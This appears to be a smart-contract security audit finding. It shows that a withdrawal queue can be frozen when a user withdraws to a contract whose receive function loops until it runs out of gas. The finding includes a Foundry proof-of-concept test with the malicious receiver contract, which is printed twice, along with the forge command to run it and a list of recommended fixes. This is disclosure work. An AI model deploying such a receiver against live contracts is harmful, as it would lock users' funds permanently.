ProcessWithdrawals is still DOS-able
DOS on process withdrawals were reported in the previous code4rena audit however the fix does not actually stop DOS, it only makes it more expensive. There is a much cheaper way to DOS the withdrawal queue - that is by specifying the `usr` to be a smart contract that consumes all the gas.\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity 0.8.9;\\nimport "./Utils.sol";\\n\\ncontract MaliciousReceiver {\\n    uint256 public gas;\\n    receive() payable external {\\n        gas = gasleft();\\n        for(uint256 i = 0; i < 150000; i++) {} // 140k iteration uses about 28m gas. 150k uses slightly over 30m.\\n    }\\n}\\n\\ncontract VUSDWithReceiveTest is Utils {\\n    event WithdrawalFailed(address indexed trader, uint amount, bytes data);\\n\\n    function setUp() public {\\n        setupContracts();\\n    }\\n\\n    function test_CannotProcessWithdrawals(uint128 amount) public {\\n        MaliciousReceiver r = new MaliciousReceiver();\\n\\n        vm.assume(amount >= 5e6);\\n        // mint vusd for this contract\\n        mintVusd(address(this), amount);\\n        // alice and bob also mint vusd\\n        mintVusd(alice, amount);\\n        mintVusd(bob, amount);\\n\\n        // withdraw husd\\n        husd.withdraw(amount);      // first withdraw in the array\\n        vm.prank(alice);\\n        husd.withdraw(amount);\\n        vm.prank(bob);              // Bob is the malicious user and he wants to withdraw the VUSD to his smart contract\\n        husd.withdrawTo(address(r), amount);\\n\\n        assertEq(husd.withdrawalQLength(), 3);\\n        assertEq(husd.start(), 0);\\n\\n        husd.processWithdrawals();  // This doesn't fail on foundry because foundry's gas limit is way higher than ethereum's. \\n\\n        uint256 ethereumSoftGasLimit = 30_000_000;\\n        assertGt(r.gas(), ethereumSoftGasLimit); // You can only transfer at most 63/64 gas to an external call and the fact that the recorded amt of gas is > 30m shows that processWithdrawals will always revert when called on mainnet. \\n    }\\n\\n    receive() payable external {\\n        assertEq(msg.sender, address(husd));\\n    }\\n}\\n```\\n\\nCopy and paste this file into the test/foundry folder and run it.\\nThe test will not fail because foundry has a very high gas limit but you can see from the test that the amount of gas that was recorded in the malicious contract is higher than 30m (which is the current gas limit on ethereum). If you ran the test by specifying the —gas-limit i.e. `forge test -vvv --match-path test/foundry/VUSDRevert.t.sol --gas-limit 30000000` The test will fail with `Reason: EvmError: OutOfGas` because there is not enough gas to transfer to the malicious contract to run 150k iterations.
From best recommendation to worst\\nRemove the queue and `withdraw` the assets immediately when `withdraw` is called.\\nAllow users to process withdrawals by specifying the index index\\nAllow the admin to remove these bad withdrawals from the queue\\nAllow the admin to adjust the start position to skip these bad withdrawals.
Users will lose their funds and have their VUSD burnt forever because nobody is able to process any withdrawals.
```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity 0.8.9;\\nimport "./Utils.sol";\\n\\ncontract MaliciousReceiver {\\n    uint256 public gas;\\n    receive() payable external {\\n        gas = gasleft();\\n        for(uint256 i = 0; i < 150000; i++) {} // 140k iteration uses about 28m gas. 150k uses slightly over 30m.\\n    }\\n}\\n\\ncontract VUSDWithReceiveTest is Utils {\\n    event WithdrawalFailed(address indexed trader, uint amount, bytes data);\\n\\n    function setUp() public {\\n        setupContracts();\\n    }\\n\\n    function test_CannotProcessWithdrawals(uint128 amount) public {\\n        MaliciousReceiver r = new MaliciousReceiver();\\n\\n        vm.assume(amount >= 5e6);\\n        // mint vusd for this contract\\n        mintVusd(address(this), amount);\\n        // alice and bob also mint vusd\\n        mintVusd(alice, amount);\\n        mintVusd(bob, amount);\\n\\n        // withdraw husd\\n        husd.withdraw(amount);      // first withdraw in the array\\n        vm.prank(alice);\\n        husd.withdraw(amount);\\n        vm.prank(bob);              // Bob is the malicious user and he wants to withdraw the VUSD to his smart contract\\n        husd.withdrawTo(address(r), amount);\\n\\n        assertEq(husd.withdrawalQLength(), 3);\\n        assertEq(husd.start(), 0);\\n\\n        husd.processWithdrawals();  // This doesn't fail on foundry because foundry's gas limit is way higher than ethereum's. \\n\\n        uint256 ethereumSoftGasLimit = 30_000_000;\\n        assertGt(r.gas(), ethereumSoftGasLimit); // You can only transfer at most 63/64 gas to an external call and the fact that the recorded amt of gas is > 30m shows that processWithdrawals will always revert when called on mainnet. \\n    }\\n\\n    receive() payable external {\\n        assertEq(msg.sender, address(husd));\\n    }\\n}\\n```\\n